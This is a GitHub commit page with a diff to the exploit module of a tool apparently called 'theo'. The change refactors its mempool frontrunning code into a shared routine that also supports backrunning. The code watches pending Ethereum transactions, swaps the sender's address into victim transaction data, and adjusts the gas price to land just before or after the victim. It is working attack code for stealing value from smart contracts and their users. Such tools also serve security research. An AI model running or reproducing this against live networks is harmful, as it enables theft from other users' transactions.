Skip to content

Commit

Permalink
Merge branch 'master' of github.com:cleanunicorn/theo
Browse files Browse the repository at this point in the history
  • Loading branch information
cleanunicorn committed Jul 24, 2019
2 parents bcb56e4 + 249861d commit 504308e
Showing 1 changed file with 41 additions and 8 deletions.
49 changes: 41 additions & 8 deletions theo/exploit/exploit.py
Original file line number Diff line number Diff line change
Expand Up @@ -113,7 +113,15 @@ def execute(self, nonce=None):

self.logger.debug(receipts)

def frontrun(self, flush=False, nonce_index=None, wait_txs=None, send_txs=None):
def _front_back_run(
self, flush=False, nonce_index=None, wait_txs=None, send_txs=None, run_type=None
):
if run_type is None:
self.logger.error(
"Must specify if it should frontrun or backrun transactions."
)
return

self.logger.info("Scanning the mem pool for transactions...")

if nonce_index is None:
Expand Down Expand Up @@ -149,9 +157,9 @@ def frontrun(self, flush=False, nonce_index=None, wait_txs=None, send_txs=None):
"Found tx: {hash}".format(hash=victim_tx.get("hash").hex())
)

frontrun_tx = {
run_tx = {
"from": self.account,
"to": self.contract,
"gasPrice": hex(victim_tx["gasPrice"] + self.gas_price_increment),
"data": send_txs[index]
.data.replace(
"deadbeefdeadbeefdeadbeefdeadbeefdeadbeef", self.account[2:]
Expand All @@ -161,21 +169,28 @@ def frontrun(self, flush=False, nonce_index=None, wait_txs=None, send_txs=None):
"value": send_txs[index].value,
"nonce": nonce_index,
}
if run_type == "frontrun":
run_tx["gasPrice"] = hex(
victim_tx["gasPrice"] + self.gas_price_increment
)
elif run_type == "backrun":
run_tx["gasPrice"] = hex(
victim_tx["gasPrice"] - self.gas_price_increment
)

nonce_index += 1

# Estimate gas
if self.gas_estimate is True:
try:
frontrun_tx["gas"] = (
self.w3.eth.estimateGas(frontrun_tx) + self.gas_increment
)
self.send_tx(frontrun_tx)
run_tx["gas"] = self.w3.eth.estimateGas(run_tx) + self.gas_increment
self.send_tx(run_tx)
except ValueError:
self.logger.error("Could not estimate gas.")
except Exception as e:
self.logger.error("Exception caught: {}".format(e))
else:
self.send_tx(frontrun_tx)
self.send_tx(run_tx)

index += 1

Expand All @@ -191,6 +206,24 @@ def frontrun(self, flush=False, nonce_index=None, wait_txs=None, send_txs=None):
)
)

def frontrun(self, flush=False, nonce_index=None, wait_txs=None, send_txs=None):
self._front_back_run(
flush=flush,
nonce_index=nonce_index,
wait_txs=wait_txs,
send_txs=send_txs,
run_type="frontrun",
)

def backrun(self, flush=False, nonce_index=None, wait_txs=None, send_txs=None):
self._front_back_run(
flush=flush,
nonce_index=nonce_index,
wait_txs=wait_txs,
send_txs=send_txs,
run_type="backrun",
)

def send_tx(self, tx: dict) -> str:
# Make sure the addresses are checksummed.
tx["to"] = Web3.toChecksumAddress(tx["to"])
Expand Down

0 comments on commit 504308e

Please sign in to comment.